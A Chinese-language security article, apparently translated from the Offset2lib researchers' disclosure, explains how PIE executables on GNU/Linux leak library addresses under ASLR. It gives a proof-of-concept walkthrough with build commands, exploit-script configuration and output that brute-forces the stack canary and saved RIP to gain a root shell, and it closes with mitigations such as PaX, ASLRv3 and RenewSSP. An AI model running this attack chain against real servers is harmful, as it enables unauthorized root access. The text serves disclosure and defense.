前言
地址空间布局随机化(ASLR),在你知道目标代码或数据定位的前提下,它可以变成一种规避攻击的技术。正因为黑客并不知道整个地址空间的布局,ASLR技术变得极为有效。只有当可执行程序编译为PIE时(地址无关可执行文件),才能最大限度地从ASLR技术那里获得保护,因为其所有组成部分都是从随机地址加载的。
然而,当可执行文件被编译成PIE之后,GNU/Linux下的ASLR实现的过程中,会出现一个名为Offset2lib安全漏洞,其专门用于绕过在GNU/Linux下如ASLR之类的对于普通漏洞的常用防护。
下面会详尽向您说明该漏洞是如何被利用的。该攻击能绕过平常使用的保护技术如:禁止运行位(NX),地址空间布局随机化(ASLR),堆栈溢出保护(SSP),并在很短的时间内就能获得一个远程的shell。
FreeBuf小科普
libc:Linux下的ANSI C的函数库。 ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。
fork服务器:并发型服务器。
ROP应用:所谓的Return Orientated Programming,早期也叫ret2libc。
基址:装入一个模块,从某地址开始存放,即此始地址。
Grsecurity/PaX:PaX从一开始就主要关注如何防御和检测memory corruption,后来Grsecurity社区发现PaX和他们所关注的非常类似,所以就合并了。文中的攻击只有它不受影响,但是只有Gentoo和Debian Mempo提供了直接使用Grsecurity/PaX的途径。
ASLR漏洞
ASLR漏洞只适用于GNU/Linux系统,该漏洞不是由于程序代码错误导致,而是因为设计缺陷。幸运的是,在64位系统中它可以被轻松修复。
当某应用由PIE编译时,就会出现这个问题。该可执行文件的镜像被当做共享库,在内存的随机位置出现。加载ASLR对象的GNU/Linux演算法实现如下:
1.第一个共享对象会在该应用里的随机位置加载
2.对象加载会呈连续状态
因此,内存地址泄露决定于该应用是否有足够的空间去随机化该应用的内存映射。在初始化后没必要泄露地址,只需要程序的进程计数器即可。
offset2lib的值是一个定值,在每个系统可能都不一样,它决定于库版本,以及库加载的顺序。
Offset2lib攻击
这种攻击的目标是获得应用代码的地址。接下来的这种攻击,采用了标准的缓冲区溢出漏洞来获取保存在栈里的应用代码的saved-IP地址(应用地址)。
我们分五步实施了攻击。首先,我们的攻击对目标程序和其执行环境做一个离线分析。被ASLR隐藏的未明信息能通过暴力获得,这多亏了目标的fork 服务器结构。一旦我们获得了目标应用的完整地址,应用的基址就能被计算出来。最后一步则是对整个库做内存映射,这将决定于目标GNU/Linux的版本。获得隐藏的未明信息后,利用ROP应用获得远程shell是非常容易的。完整的在线攻击流程或许会更短。
攻击的流程总结如下:
1.提取静态信息
2.暴力获取saved-IP部分
3.计算应用基址
4.计算offset2lib常量
5.获得内存映射区域
图解流程
第一步(上):设置最高的24位(Hardcoded),这些比特位是离线获取的。
第一步(下):设置低12位,这决定于对齐情况(From the ELF)。
第二步:剩下saved-IP的28位(Unknown),由byte-for-byte攻击从saved-IP那里获得,只有3.5比特位(加起来28位)需要爆破。
第三步:通过使用saved-IP进行计算,我们可以获得可执行文件的基址:
App_base = (savedIP & 0xFFF)-(CALLER_PAGE_OFFSET << 12)
0x00007F36C6fEB000
第四步:计算出目标库的offset2lib值,它会因系统的不同而不同,但相互之间有很大的相似性。获得这些offset2lib的值有一个迅捷的办法,那就是本地执行该应用,打印出偏移量。offset2lib并不决定于应用本身,我们需要为特定Linux系统版本量身计算。
Distribution Libc ver. Offset2lib
CentOS 6.5 2.12 0x5b6000
Debian 7.1 2.13 0x5ac000
Ubuntu 12.04 2.15 0x5e4000
Ubuntu 12.10 2.15 0x5e4000
第五步:libc的基址都可以通过可执行文件基址减去offset2lib值来计算:
Libc_base = App_base - offset2lib
我们这里做的这种攻击实验,只是为了展示如何利用ASLR offset2lib漏洞。可以预见的是,利用这个漏洞的方法是还有很多的。
概念证明
这里有个实验供您利用offset2lib漏洞,读者可以按步骤跟着尝试:
1.获得libc库里offset2lib值的小程序:
下载地址:get_offset2lib.tgz
2. 漏洞服务器环境:
下载地址:vuln-server-64bit.tgz
3.python编写的攻击脚本:
下载地址:exploit-offset2lib-ubuntu-14.04.1-LTS.py
启动漏洞服务器:
$ tar xvf vuln-server-64bit.tgz
server_64_PIE_SSP.c
Makefile
$ make
rm -f server_64_PIE_SSP
gcc server_64_PIE_SSP.c -o server_64_PIE_SSP -m64 -Wall -fPIE -pie -fstack-protector-all
$ sudo /etc/init.d/apport stop # avoid creating cores on crashes (speed-up)
$ sudo ./server_64_PIE_SSP
Starting server on port [9999]
获得目标系统的offets2lib值(请新开一个选项卡):
$ tar xvf get_offset2lib.tgz
Makefile.offset2lib
get_offset2lib.c
$ make -f Makefile.offset2lib
$ ./get_offset2lib
-------------------------------------=======---------------------------------------
------------------------------=======================------------------------------
Authors: Hector Marco-Gisbert <span class="tag"><hmarco<span class="pln">@<span class="atn">hmarco<span class="pln">.<span class="atn">org<span class="tag">><span class="pln">
Ismael Ripoll Ripoll <span class="tag"><iripoll<span class="pln">@<span class="atn">upv<span class="pln">.<span class="atn">es<span class="tag">><span class="pln">
Comment: Script to obtain the offset2lib value of this machine.
Attack: http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
------------------------------=======================------------------------------
-------------------------------------=======---------------------------------------
Offset2lib (libc): 0x5f0000
配置exp:
$ sed -i 's/(OFFSET_TO_LIBC).*=.*/1=0x5f0000/'
exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ objdump -d server_64_PIE_SSP| grep -A1 vulnerable_function>$
1149:e8 82 fc ff ff callq dd0 <span class="tag"><vulnerable_function><span class="pln">
114e:48 8d 45 c0 lea -0x40(%rbp),%rax
$ sed -i 's/(PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL).*=.*/1=0x1/'
exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ sed -i 's/(OFFSET_SAVED_RIP).*=.*/1=0x14e/'
exploit-offset2lib-ubuntu-14.04.1-LTS.py
运行exp:
$ chmod a+x exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py
exploit-server_64_PIE.py -s <span class="tag"><server><span class="pln"> -p <span class="tag"><port><span class="pln">
$ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py -s localhost -p 9999
[+] Exploit ASLR 64 bit systems
[+] Trying to find out the canary offset
[+] Offset is 56 bytes
[+] Brute forcing stack canary
[+] SSP value is 0x60e0792a523eb900
[+] Brute forcing RBP
[+] EBP value is 0x00007fff0e79d160
[+] Brute forcing Saved RIP
[+] RIP value is 0x00007f44a19b114e
[+] Text Base at 0x00007f44a19b0000
[+] Libc Base at 0x00007f44a13c0000
[+] Getting shell ...
root@test:/home/test # id
id
uid=0(root) gid=0(root) groups=0(root)
root@test:/home/test #
给读者的建议
介绍下漏洞的一些解决方案和应用环境。
1.利用PaX补丁预防漏洞
在众多安全解决方案中,来自GRSecurity社区的PaX补丁,它将可执行文件放置在与其他共享对象相关的随机地址上。
PaX定义了四个变量计算的随机值:
delta_exec:代码段,数据段,bss段
brk:堆
delta_mmap:库,映射文件,线程栈,共享内存
delta_stack:用户栈
Pax解决方案也会提高这些随机值的信息量,即使它能随机化非PIE应用。它是我们至今已知的最先进的ASLR实现方案。然而,某些人觉得它作为补丁来讲太复杂了,比如其存在大量冗余的特征,其中某些会破坏某些应用向后版本的兼容性。
2 利用ASLRv3抵制漏洞
为了避免offset2lib漏洞,可执行文件应该被定位到一个与库文件不同的随机位置。我们为Linux3.18-rc7打上了补丁,由四个不同的随机值实现,因此该可执行处与库文件随机处于不同的位置。
3.使用RenewSSP阻止漏洞利用
使用PoC能成功利用栈溢出攻击绕过ASLR防护,但是黑客首先需要做的就是绕过SSP。如果SSP保护都没有绕过,这个PoC就废了。
有一项名为renewSSP的新技术,可以用来暴力破解SSP。这种技术是典型SSP的变异,关键的密文会在程序的重要位置动态更新,这样一来,密文会刷新地更加频繁。SSP值会在每个进程阻止byte-for-byte攻击时更新。这种技术并不会占用太多资源,只会在共享库预加载时进行实施,其开销几乎可以忽略不计。
以下视频给我们展示了如何使用RenewSSP阻止这样的攻击: